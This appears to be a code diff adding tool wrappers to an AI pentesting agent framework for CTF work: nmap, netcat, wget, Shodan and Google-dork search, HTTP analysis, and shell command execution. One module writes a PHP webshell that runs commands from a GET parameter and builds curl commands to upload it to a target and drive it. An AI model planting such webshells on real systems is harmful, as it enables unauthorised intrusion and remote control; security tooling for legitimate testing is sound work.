+        run_command(f"cd {temp_dir} && go mod init temp", ctf=ctf)
+        exec_cmd = f"cd {temp_dir} && go run main.go"
+    elif language.lower() == "javascript":
+        exec_cmd = f"node {full_filename}"
+    elif language.lower() == "typescript":
+        exec_cmd = f"ts-node {full_filename}"
+    elif language.lower() == "rust":
+        # For Rust, we need to compile first
+        run_command(f"rustc {full_filename} -o {filename}", ctf=ctf)
+        exec_cmd = f"./{filename}"
+    elif language.lower() == "csharp":
+        # For C#, compile with dotnet
+        run_command(f"dotnet build {full_filename}", ctf=ctf)
+        exec_cmd = f"dotnet run {full_filename}"
+    elif language.lower() == "java":
+        # For Java, compile first
+        run_command(f"javac {full_filename}", ctf=ctf)
+        exec_cmd = f"java {filename}"
+    elif language.lower() == "kotlin":
+        # For Kotlin, compile first
+        run_command(f"kotlinc {full_filename} -include-runtime -d {filename}.jar", ctf=ctf)
+        exec_cmd = f"java -jar {filename}.jar"
+    else:
+        return f"Unsupported language: {language}"
+
+    output = run_command(exec_cmd, ctf=ctf, timeout=timeout)
+
+    return output

src/cai/tools/reconnaissance/filesystem.py

@@ -0,0 +1,64 @@
+"""
+Here are the CLI tools for executing commands.
+"""
+
+from cai.tools.common import run_command  # pylint: disable=E0401
+
+
+def list_dir(path: str, args: str = "", ctf=None) -> str:
+    """
+    List the contents of a directory.
+    by def .
+    Args:
+        path: The directory path to list contents from
+        args: Additional arguments to pass to the ls command
+
+    Returns:
+        str: The output of running the ls command
+    """
+    command = f'ls {path} {args}'
+    return run_command(command, ctf=ctf)
+
+
+def cat_file(file_path: str, args: str = "", ctf=None) -> str:
+    """
+    Display the contents of a file.
+
+    Args:
+        args: Additional arguments to pass to the cat command
+        file_path: Path to the file to display contents of
+
+    Returns:
+        str: The output of running the cat command
+    """
+    command = f'cat {args} {file_path} '
+    return run_command(command, ctf=ctf)
+
+
+# FileSearchTool
+# ListDirTool
+# TextSearchTool
+# FileAnalysisTool
+# StringExtractionTool
+# ReadFileTool
+# FilePermissionsTool
+# FileCompressionTool
+
+
+def pwd_command(ctf=None) -> str:
+    """
+    Retrieve the current working directory.
+
+    Returns:
+        str: The absolute path of the current working directory
+    """
+    command = 'pwd'
+    return run_command(command, ctf=ctf)
+
+
+def find_file(file_path: str, args: str = "", ctf=None) -> str:
+    """
+    Find a file in the filesystem.
+    """
+    command = f'find {file_path} {args}'
+    return run_command(command, ctf=ctf)

src/cai/tools/reconnaissance/generic_linux_command.py

@@ -0,0 +1,84 @@
+"""
+This is used to create a generic linux command.
+"""
+from cai.tools.common import (run_command,
+                              list_shell_sessions,
+                              get_session_output,
+                              terminate_session)  # pylint: disable=import-error # noqa E501
+
+
+def generic_linux_command(command: str = "",
+                          args: str = "", ctf=None,
+                          async_mode: bool = False,
+                          session_id: str = None) -> str:
+    """
+    Execute Linux commands with support for interactive sessions.
+
+    Two modes:
+    1. Regular command execution:
+       - For normal Linux commands
+       - Example: generic_linux_command("ls", "-la")
+
+    2. Session management:
+       - For interactive commands(ssh)
+       - Workflow:
+         - Start: generic_linux_command("ssh", "user@host")
+           → Returns session ID
+         - List: generic_linux_command("session", "list")
+         - Get output: generic_linux_command("session", "output <id>")
+         - Send input: Use session_id parameter
+         - End: generic_linux_command("session", "kill <id>")
+
+    Args:
+        command: Command name
+        args: Command arguments
+        ctf: CTF environment object
+        async_mode: Force async session
+        session_id: Existing session ID
+
+    Returns:
+        Command output, session ID, or status message
+    """
+    # Special commands for session management
+    if command == "session":
+        if args == "list":
+            sessions = list_shell_sessions()
+            if not sessions:
+                return "No active sessions"
+
+            result = "Active sessions:\n"
+            for session in sessions:
+                result += (f"ID: {session['session_id']} | "
+                           f"Command: {session['command']} | "
+                           f"Last activity: {session['last_activity']}\n")
+            return result
+
+        if args.startswith("output "):
+            session_id = args.split(" ")[1]
+            return get_session_output(session_id)
+
+        if args.startswith("kill "):
+            session_id = args.split(" ")[1]
+            return terminate_session(session_id)
+
+        return """Unknown session command.
+        Available: list, output <id>, kill <id>"""
+
+    # Regular command execution
+    full_command = f'{command} {args}'.strip()
+
+    # Detect if this should be an async command
+    if not async_mode and not session_id:
+        async_commands = ['ssh', 'python -m http.server']
+        async_mode = any(cmd in full_command for cmd in async_commands)
+
+    # NOTE: review this as it's a hack to get
+    # around the long delays with nc connections
+    if session_id:
+        timeout = 10
+    else:
+        timeout = 100
+
+    return run_command(full_command, ctf=ctf,
+                       async_mode=async_mode, session_id=session_id,
+                       timeout=timeout)

src/cai/tools/reconnaissance/netcat.py

@@ -0,0 +1,36 @@
+"""
+ Here are the tools for netcat command
+"""
+from cai.tools.common import run_command   # pylint: disable=import-error
+
+
+def netcat(host: str, port: int, data: str = '',
+           args: str = '', ctf=None) -> str:
+    """
+    A simple netcat tool to connect to a specified host and port.
+    Args:
+        args: Additional arguments to pass to the netcat command
+        host: The target host to connect to
+        port: The target port to connect to
+        data: Data to send to the host (optional)
+
+    Returns:
+        str: The output of running the netcat command
+         or error message if connection fails
+    """
+    try:
+        if not isinstance(port, int):
+            return "Error: Port must be an integer"
+        if port < 1 or port > 65535:
+            return "Error: Port must be between 1 and 65535"
+
+        if data:
+            command = f'echo "{data}" | nc -w 3 {host} {port} {args}; exit'
+        else:
+            command = f'echo "" | nc -w 3 {host} {port} {args}; exit'
+
+        result = run_command(command, ctf=ctf)
+
+        return result
+    except Exception as e:  # pylint: disable=broad-except
+        return f"Error executing netcat command: {str(e)}"

src/cai/tools/reconnaissance/netstat.py

@@ -0,0 +1,17 @@
+# NetworkConnectionstool in exploitFlow
+"""
+Netstat tool
+"""
+from cai.tools.common import run_command   # pylint: disable=import-error
+
+
+def netstat(args: str = '', ctf=None) -> str:
+    """
+    netstat tool to list all listening ports and their associated programs.
+    Args:
+        args: Additional arguments to pass to the netstat command
+    Returns:
+        str: The output of running the netstat command
+    """
+    command = f'netstat -tuln {args}'
+    return run_command(command, ctf=ctf)

src/cai/tools/reconnaissance/nmap.py

@@ -0,0 +1,20 @@
+"""
+Here are the nmap tools.
+"""
+
+from cai.tools.common import run_command  # pylint: disable=E0401
+
+
+def nmap(args: str, target: str, ctf=None) -> str:
+    """
+    A simple nmap tool to scan a specified target.
+
+    Args:
+        args: Additional arguments to pass to the nmap command
+        target: The target host or IP address to scan
+
+    Returns:
+        str: The output of running the nmap command
+    """
+    command = f'nmap {args} {target}'
+    return run_command(command, ctf=ctf)

src/cai/tools/reconnaissance/shodan.py

@@ -0,0 +1,158 @@
+"""
+Shodan search utility for reconnaissance.
+
+This module provides functions to search Shodan for information about hosts,
+services, and vulnerabilities using the Shodan API.
+"""
+import os
+import requests
+from typing import Dict, List, Optional, Any
+from dotenv import load_dotenv
+
+
+def shodan_search(query: str, limit: int = 10) -> str:
+    """
+    Search Shodan for information based on the provided query.
+
+    Args:
+        query (str): The Shodan search query.
+        limit (int): Maximum number of results to return. Default is 10.
+
+    Returns:
+        str: A formatted string containing the search results.
+    """
+    results = _perform_shodan_search(query, limit)
+    
+    if not results:
+        return "No results found or API error occurred."
+    
+    formatted_results = ""
+    for result in results:
+        formatted_results += f"IP: {result.get('ip_str', 'N/A')}\n"
+        formatted_results += f"Port: {result.get('port', 'N/A')}\n"
+        formatted_results += f"Organization: {result.get('org', 'N/A')}\n"
+        formatted_results += f"Hostnames: {', '.join(result.get('hostnames', ['N/A']))}\n"
+        formatted_results += f"Country: {result.get('location', {}).get('country_name', 'N/A')}\n"
+        
+        if 'data' in result:
+            formatted_results += f"Banner: {result['data'][:200]}...\n" if len(result['data']) > 200 else f"Banner: {result['data']}\n"
+        
+        formatted_results += "\n"
+    
+    return formatted_results
+
+
+def shodan_host_info(ip: str) -> str:
+    """
+    Get detailed information about a specific host from Shodan.
+
+    Args:
+        ip (str): The IP address of the host.
+
+    Returns:
+        str: A formatted string containing host information.
+    """
+    result = _get_shodan_host_info(ip)
+    
+    if not result:
+        return f"No information found for IP {ip} or API error occurred."
+    
+    formatted_result = f"IP: {result.get('ip_str', 'N/A')}\n"
+    formatted_result += f"Organization: {result.get('org', 'N/A')}\n"
+    formatted_result += f"Operating System: {result.get('os', 'N/A')}\n"
+    formatted_result += f"Country: {result.get('country_name', 'N/A')}\n"
+    formatted_result += f"City: {result.get('city', 'N/A')}\n"
+    formatted_result += f"ISP: {result.get('isp', 'N/A')}\n"
+    formatted_result += f"Last Update: {result.get('last_update', 'N/A')}\n"
+    formatted_result += f"Hostnames: {', '.join(result.get('hostnames', ['N/A']))}\n"
+    formatted_result += f"Domains: {', '.join(result.get('domains', ['N/A']))}\n\n"
+    
+    if 'ports' in result:
+        formatted_result += f"Open Ports: {', '.join(map(str, result['ports']))}\n\n"
+    
+    if 'vulns' in result:
+        formatted_result += "Vulnerabilities:\n"
+        for vuln in result['vulns']:
+            formatted_result += f"- {vuln}\n"
+    
+    return formatted_result
+
+
+def _perform_shodan_search(query: str, limit: int = 10) -> List[Dict[str, Any]]:
+    """
+    Helper function to perform Shodan searches.
+
+    Args:
+        query (str): The Shodan search query.
+        limit (int): Maximum number of results to return.
+
+    Returns:
+        List[Dict[str, Any]]: A list of dictionaries containing the search results.
+    """
+    load_dotenv()
+    api_key = os.getenv("SHODAN_API_KEY")
+    
+    if not api_key:
+        raise ValueError(
+            "Shodan API key (SHODAN_API_KEY) must be set in environment variables."
+        )
+    
+    base_url = "https://api.shodan.io/shodan/host/search"
+    
+    params = {
+        "key": api_key,
+        "query": query,
+        "limit": min(limit, 100)  # Shodan API has limits
+    }
+    
+    try:
+        response = requests.get(base_url, params=params)
+        
+        if response.status_code != 200:
+            return []
+            
+        data = response.json()
+        
+        if "matches" not in data:
+            return []
+            
+        return data["matches"][:limit]
+    
+    except Exception:
+        return []
+
+
+def _get_shodan_host_info(ip: str) -> Optional[Dict[str, Any]]:
+    """
+    Helper function to get host information from Shodan.
+
+    Args:
+        ip (str): The IP address of the host.
+
+    Returns:
+        Optional[Dict[str, Any]]: A dictionary containing host information or None if an error occurs.
+    """
+    load_dotenv()
+    api_key = os.getenv("SHODAN_API_KEY")
+    
+    if not api_key:
+        raise ValueError(
+            "Shodan API key (SHODAN_API_KEY) must be set in environment variables."
+        )
+    
+    base_url = f"https://api.shodan.io/shodan/host/{ip}"
+    
+    params = {
+        "key": api_key
+    }
+    
+    try:
+        response = requests.get(base_url, params=params)
+        
+        if response.status_code != 200:
+            return None
+            
+        return response.json()
+    
+    except Exception:
+        return None

src/cai/tools/reconnaissance/wget.py

@@ -0,0 +1,20 @@
+# FileDownloadTool in exploitFlow
+
+"""
+Wget tool
+"""
+from cai.tools.common import run_command   # pylint: disable=import-error
+
+
+def wget(url: str, args: str = '', ctf=None) -> str:
+    """
+    Wget tool to download files from the web.
+    Args:
+        url: The URL of the file to download
+        args: Additional arguments to pass to the wget command
+
+    Returns:
+        str: The output of running the wget command
+    """
+    command = f'wget {args} {url}'
+    return run_command(command, ctf=ctf)

src/cai/tools/web/google_search.py

@@ -0,0 +1,126 @@
+"""
+Google search utility for regular searches and Google dorking.
+
+This module provides functions to perform Google searches in two modes:
+1. Regular search - Returns URLs from standard Google search results
+2. Google dorking - Returns URLs from searches using advanced Google search operators
+"""
+import os
+import requests
+from typing import List, Optional, Dict, Tuple
+from dotenv import load_dotenv
+
+
+def google_search(query: str, num_results: int = 10) -> str:
+    """
+    Perform a regular Google search and return a formatted string with results.
+
+    Args:
+        query (str): The search query.
+        num_results (int): Maximum number of results to return. Default is 10.
+
+    Returns:
+        str: A formatted string containing URLs, titles, and snippets from 
+        the search results.
+    """
+    results = _perform_search(query, num_results, is_dork=False)
+    formatted_results = ""
+    
+    for result in results:
+        formatted_results += f"Title: {result['title']}\n"
+        formatted_results += f"URL: {result['url']}\n"
+        formatted_results += f"Snippet: {result['snippet']}\n\n"
+    
+    return formatted_results
+
+
+def google_dork_search(dork_query: str, num_results: int = 100) -> str:
+    """
+    Perform a Google dork search and return a formatted string with URLs.
+    
+    Google dorking uses advanced search operators to find specific information.
+    Examples of operators: site:, filetype:, inurl:, intitle:, etc.
+
+    Args:
+        dork_query (str): The Google dork query with operators.
+        num_results (int): Maximum number of results to return. Default is 10.
+
+    Returns:
+        str: A formatted string containing URLs from the dork search results.
+    """
+    results = _perform_search(dork_query, num_results, is_dork=True)
+    formatted_results = ""
+    
+    for result in results:
+        formatted_results += f"{result['url']}\n"
+    
+    return formatted_results
+
+def _perform_search(query: str, num_results: int = 10, 
+                   is_dork: bool = False) -> List[Dict[str, str]]:
+    """
+    Helper function to perform Google searches.
+
+    Args:
+        query (str): The search query.
+        num_results (int): Maximum number of results to return.
+        is_dork (bool): Whether this is a dork search.
+
+    Returns:
+        List[Dict[str, str]]: For regular searches, returns a list of dictionaries 
+        with URLs, titles, and snippets. For dork searches, returns a list of 
+        dictionaries with only URLs.
+    """
+    load_dotenv()
+    api_key = os.getenv("GOOGLE_SEARCH_API_KEY") 
+    cx = os.getenv("GOOGLE_SEARCH_CX")
+    
+    if not api_key or not cx:
+        raise ValueError(
+            "Google Search API key (GOOGLE_SEARCH_API_KEY) and Custom Search "
+            "Engine ID (GOOGLE_SEARCH_CX) must be set in environment variables."
+        )
+    
+    base_url = "https://www.googleapis.com/customsearch/v1"
+    
+    params = {
+        "key": api_key,
+        "cx": cx,
+        "q": query,
+        "num": min(num_results, 10)  # API limits to 10 results per request
+    }
+    
+    results = []
+    
+    # Google API returns max 10 results per request, so we need to make multiple
+    # requests with different start indices to get more results
+    for start_index in range(1, min(num_results + 1, 101), 10):  # Google API limits to 100 results total
+        if start_index > 1:
+            params["start"] = start_index
+            
+        response = requests.get(base_url, params=params)
+        
+        if response.status_code != 200:
+            break
+            
+        data = response.json()
+        
+        if "items" not in data:
+            break
+            
+        for item in data["items"]:
+            if len(results) >= num_results:
+                break
+                
+            if is_dork:
+                results.append({
+                    "url": item["link"]
+                })
+            else:
+                results.append({
+                    "url": item["link"],
+                    "title": item.get("title", ""),
+                    "snippet": item.get("snippet", "")
+                })
+    
+    return results

src/cai/tools/web/headers.py

@@ -0,0 +1,138 @@
+"""
+Module for analyzing HTTP requests and responses with security focus.
+
+This module provides utilities for making HTTP requests and analyzing
+the responses from a security testing perspective, including header
+analysis, parameter inspection, and security vulnerability detection.
+"""
+
+from urllib.parse import urlparse
+import requests  # pylint: disable=E0401
+
+
+def web_request_framework(  # noqa: E501 # pylint: disable=too-many-arguments,too-many-locals,too-many-branches
+                            url: str = "",
+                            method: str = "GET",
+                            headers: dict = None,
+                            data: dict = None,
+                            cookies: dict = None,
+                            params: dict = None,
+                            ctf=None) -> str:  # pylint: disable=unused-argument  # noqa: E501
+    """
+    Analyze HTTP requests and responses in detail for security testing.
+
+    Args:
+        url: Target URL to analyze
+        method: HTTP method (GET, POST, etc.)
+        headers: Request headers
+        data: Request body data
+        cookies: Request cookies
+        params: URL parameters
+        ctf: CTF object to use for context
+    Returns:
+        str: Detailed analysis of the HTTP interaction including:
+            - Request details (method, headers, parameters)
+            - Response analysis (status, headers, body)
+            - Security observations
+            - Potential vulnerabilities
+            - Suggested attack vectors
+    """
+    try:
+        # Initialize analysis results
+        analysis = []
+        analysis.append("\n=== HTTP Request Analysis ===\n")
+
+        # Analyze URL structure
+        parsed_url = urlparse(url)
+        analysis.append("URL Analysis:")
+        analysis.append(f"- Scheme: {parsed_url.scheme}")
+        analysis.append(f"- Domain: {parsed_url.netloc}")
+        analysis.append(f"- Path: {parsed_url.path}")
+        analysis.append(f"- Parameters: {parsed_url.query}")
+
+        # Analyze request components
+        analysis.append("\nRequest Details:")
+        analysis.append(f"- Method: {method}")
+
+        if headers:
+            analysis.append("\nHeaders Analysis:")
+            for header, value in headers.items():
+                analysis.append(f"- {header}: {value}")
+
+        if cookies:
+            analysis.append("\nCookies Analysis:")
+            for cookie, value in cookies.items():
+                analysis.append(f"- {cookie}: {value}")
+
+        if params:
+            analysis.append("\nParameters Analysis:")
+            for param, value in params.items():
+                analysis.append(f"- {param}: {value}")
+
+        if data:
+            analysis.append("\nBody Data Analysis:")
+            for key, value in data.items():
+                analysis.append(f"- {key}: {value}")
+
+        # Make the request and analyze response
+        response = requests.request(
+            method=method,
+            url=url,
+            headers=headers,
+            data=data,
+            cookies=cookies,
+            params=params,
+            verify=False,
+            allow_redirects=True
+        )
+
+        analysis.append("\n=== HTTP Response Analysis ===\n")
+        analysis.append(f"Status Code: {response.status_code}")
+
+        analysis.append("\nResponse Headers:")
+        for header, value in response.headers.items():
+            analysis.append(f"- {header}: {value}")
+
+        analysis.append(f"\nResponse Size: {len(response.content)} bytes")
+
+        # Security observations
+        analysis.append("\n=== Security Analysis ===\n")
+
+        # Check security headers
+        security_headers = [
+            'Strict-Transport-Security',
+            'Content-Security-Policy',
+            'X-Frame-Options',
+            'X-XSS-Protection',
+            'X-Content-Type-Options'
+        ]
+
+        missing_headers = []
+        for header in security_headers:
+            if header not in response.headers:
+                missing_headers.append(header)
+
+        if missing_headers:
+            analysis.append("Missing Security Headers:")
+            for header in missing_headers:
+                analysis.append(f"- {header}")
+
+        # Check for sensitive information
+        sensitive_patterns = [
+            'password',
+            'token',
+            'key',
+            'secret',
+            'admin',
+            'root'
+        ]
+
+        for pattern in sensitive_patterns:
+            if pattern in response.text.lower():
+                analysis.append(
+                    f"\nPotential sensitive information found: '{pattern}'")
+
+        return "\n".join(analysis)
+
+    except Exception as e:  # pylint: disable=broad-except
+        return f"Error analyzing request: {str(e)}"

src/cai/tools/web/search_web.py

@@ -0,0 +1,91 @@
+import os
+from openai import OpenAI
+from dotenv import load_dotenv
+
+from cai.tools.web.google_search import (
+    google_dork_search, 
+    google_search
+)
+
+def query_perplexity(query: str = "", context: str = "") -> str:
+    """
+    Query the Perplexity AI API with a user prompt.
+
+    Args:
+        query (str): The question to search for.
+        context (str): The full context of current CTF challenge.
+
+    Returns:
+        str: The response from Perplexity AI.
+    """
+    load_dotenv()
+    api_key = os.getenv("PERPLEXITY_API_KEY")
+
+    messages = [
+        {
+            "role": "system",
+            "content": (
+                "You are an expert cybersecurity researcher specializing in CTF "
+                "competitions. Your role is to search for and provide precise, "
+                "actionable intelligence to your pentesting team. Focus on "
+                "delivering technical details, exploitation techniques, and "
+                "vulnerability information relevant to the search query. Include "
+                "specific commands, payloads, or tools that would help the team "
+                "progress in their CTF challenge. Prioritize accuracy and depth "
+                "over general explanations. Your team relies on your research to "
+                "identify attack vectors, bypass security controls, and capture "
+                "flags. Always suggest concrete next steps based on your findings."
+                "Put the neccesary code in each iteration"
+            ),
+        },
+        {
+            "role": "user",
+            "content": (
+                f"You should search the following terms: {query} and the full "
+                f"context of current CTF challenge: {context}"
+            ),
+        },
+    ]
+
+    client = OpenAI(api_key=api_key, base_url="https://api.perplexity.ai")
+
+    response = client.chat.completions.create(
+        model="sonar-pro",
+        messages=messages,
+    )
+    return response.choices[0].message.content
+
+
+def make_web_search_with_explanation(context: str = "", query: str = "") -> str:
+    """
+    Executes an intelligent web search via the AI service for relevant
+    cybersecurity and CTF-related information. This function sends the
+    provided query to the internet search engine and returns the response.
+    It also uses the full context of the current CTF challenge.
+
+    CONTEXT ALWAYS IS NEEDED
+    Args:
+      context (str): The full context of the current CTF challenge.
+        query (str): The question or keywords to search for.
+      
+
+    Returns:
+        str: Search result.
+    """
+    return query_perplexity(query, context)
+
+def make_google_search(query: str, dorks = False) -> str:
+    """
+    Search Google for information.
+    
+    Args:
+        query: The search query to look up on Google.
+        dorks: Whether to use Google dorks for advanced searching.
+            Default is False.
+            
+    Returns:
+        A list of search results. Each result contains URL, title, and snippet.
+    """
+    if dorks:
+        return google_dork_search(query)
+    return google_search(query)

src/cai/tools/web/webshell_suit.py

@@ -0,0 +1,70 @@
+"""
+PHP webshell and curl utilities for web exploitation
+"""
+
+
+def generate_php_webshell(target_url=None, port=None,
+                          protocol="http", ctf=None):  # pylint: disable=unused-argument  # noqa: E501
+    """
+    Upload and generate a basic PHP webshell and uploads it via HTTP or FTP
+
+    Args:
+        target_url: Target URL to upload shell to
+        port: Port number to use (default: 80 for HTTP, 21 for FTP)
+        protocol: Protocol to use - 'http' or 'ftp' (default: http)
+        ctf: CTF object to use for context
+
+    Returns:
+        Tuple of (webshell content, upload command)
+    """
+    with open('shell.php', 'w', encoding='utf-8') as f:
+        f.write("""<?php system($_GET['cmd']); ?>""")
+    webshell = """<?php system($_GET['cmd']); ?>"""
+
+    if not target_url:
+        return webshell
+
+    if not port:
+        port = 21 if protocol == "ftp" else 80
+
+    if protocol == "ftp":
+        upload_cmd = f"curl -T shell.php ftp://{target_url}:{port}/"
+    else:
+        # HTTP POST upload
+        upload_cmd = f"curl -X POST http://{
+            target_url}:{port} -F 'file=@shell.php'"
+
+    return webshell, upload_cmd
+
+
+def curl_webshell(url, command, cmd_param="cmd"):
+    """
+    Sends command to PHP webshell via curl
+
+    Args:
+        url: URL of the webshell
+        command: Command to execute
+        cmd_param: GET parameter name for command (default: cmd)
+
+    Returns:
+        Command to execute with curl
+    """
+    encoded_cmd = command.replace(" ", "+")
+    return f"curl '{url}?{cmd_param}={encoded_cmd}'"
+
+
+def upload_webshell(url, filename="shell.php", ctf=None):  # pylint: disable=unused-argument  # noqa: E501
+    """
+    Generates curl command to upload PHP webshell
+
+    Args:
+        url: Target URL for upload
+        filename: Name of shell file (default: shell.php)
+        ctf: CTF object to use for context
+
+    Returns:
+        Tuple of (webshell content, curl upload command)
+    """
+    shell = generate_php_webshell()
+    curl_cmd = f"""curl -X POST {url} -F "file=@{filename}" """
+    return shell, curl_cmd

src/cai/util.py

@@ -1,9 +1,131 @@
 """
 Util model for CAI
 """
+import os
+import sys
+import importlib.resources
+import pathlib
+from rich.console import Console
+from rich.tree import Tree
+from mako.template import Template  # pylint: disable=import-error
 
 def get_ollama_api_base() -> str:
     """
     Get the Ollama API base URL from the environment variable.
     """
     return os.getenv("OLLAMA_API_BASE", "http://host.docker.internal:8000/v1")
+
+def load_prompt_template(template_path):
+    """
+    Load a prompt template from the package resources.
+    
+    Args:
+        template_path: Path to the template file relative to the cai package,
+                      e.g., "prompts/system_bug_bounter.md"
+    
+    Returns:
+        The rendered template as a string
+    """
+    try:
+        # Get the template file from package resources
+        template_path_parts = template_path.split('/')
+        package_path = ['cai'] + template_path_parts[:-1]
+        package = '.'.join(package_path)
+        filename = template_path_parts[-1]
+        
+        # Read the content from the package resources
+        # Handle different importlib.resources APIs between Python versions
+        try:
+            # Python 3.9+ API
+            template_content = importlib.resources.read_text(package, filename)
+        except (TypeError, AttributeError):
+            # Fallback for Python 3.8 and earlier
+            with importlib.resources.path(package, filename) as path:
+                template_content = pathlib.Path(path).read_text(encoding='utf-8')
+        
+        # Render the template
+        return Template(template_content).render()
+    except Exception as e:
+        raise ValueError(f"Failed to load template '{template_path}': {str(e)}")
+
+def visualize_agent_graph(start_agent):
+    """
+    Visualize agent graph showing all bidirectional connections between agents.
+    Uses Rich library for pretty printing.
+    """
+    console = Console()  # pylint: disable=redefined-outer-name
+    if start_agent is None:
+        console.print("[red]No agent provided to visualize.[/red]")
+        return
+
+    tree = Tree(
+        f"🤖 {
+            start_agent.name} (Current Agent)",
+        guide_style="bold blue")
+
+    # Track visited agents and their nodes to handle cross-connections
+    visited = {}
+    agent_nodes = {}
+    agent_positions = {}  # Track positions in tree
+    position_counter = 0  # Counter for tracking positions
+
+    def add_agent_node(agent, parent=None, is_transfer=False):  # pylint: disable=too-many-branches # noqa: E501
+        """Add agent node and track for cross-connections"""
+        nonlocal position_counter
+
+        if agent is None:
+            return None
+
+        # Create or get existing node for this agent
+        if id(agent) in visited:
+            if is_transfer:
+                # Add reference with position for repeated agents
+                original_pos = agent_positions[id(agent)]
+                parent.add(
+                    f"[cyan]↩ Return to {
+                        agent.name} (Top Level Agent #{original_pos})[/cyan]")
+            return agent_nodes[id(agent)]
+
+        visited[id(agent)] = True
+        position_counter += 1
+        agent_positions[id(agent)] = position_counter
+
+        # Create node for current agent
+        if is_transfer:
+            node = parent
+        else:
+            node = parent.add(
+                f"[green]{agent.name} (#{position_counter})[/green]") if parent else tree  # noqa: E501 pylint: disable=line-too-long
+        agent_nodes[id(agent)] = node
+
+        # Add tools as children
+        tools_node = node.add("[yellow]Tools[/yellow]")
+        for fn in getattr(agent, "functions", []):
+            if callable(fn):
+                fn_name = getattr(fn, "__name__", "")
+                if ("handoff" not in fn_name.lower() and
+                        not fn_name.startswith("transfer_to")):
+                    tools_node.add(f"[blue]{fn_name}[/blue]")
+
+        # Add Handoffs section
+        transfers_node = node.add("[magenta]Handoffs[/magenta]")
+
+        # Process handoff functions
+        for fn in getattr(agent, "functions", []):  # pylint: disable=too-many-nested-blocks # noqa: E501
+            if callable(fn):
+                fn_name = getattr(fn, "__name__", "")
+                if ("handoff" in fn_name.lower() or
+                        fn_name.startswith("transfer_to")):
+                    try:
+                        next_agent = fn()
+                        if next_agent:
+                            # Show bidirectional connection
+                            transfer = transfers_node.add(
+                                f"🤖 {next_agent.name}")  # noqa: E501
+                            add_agent_node(next_agent, transfer, True)
+                    except Exception:  # nosec: B112 # pylint: disable=broad-exception-caught # noqa: E501
+                        continue
+        return node
+    # Start recursive traversal from root agent
+    add_agent_node(start_agent)
+    console.print(tree)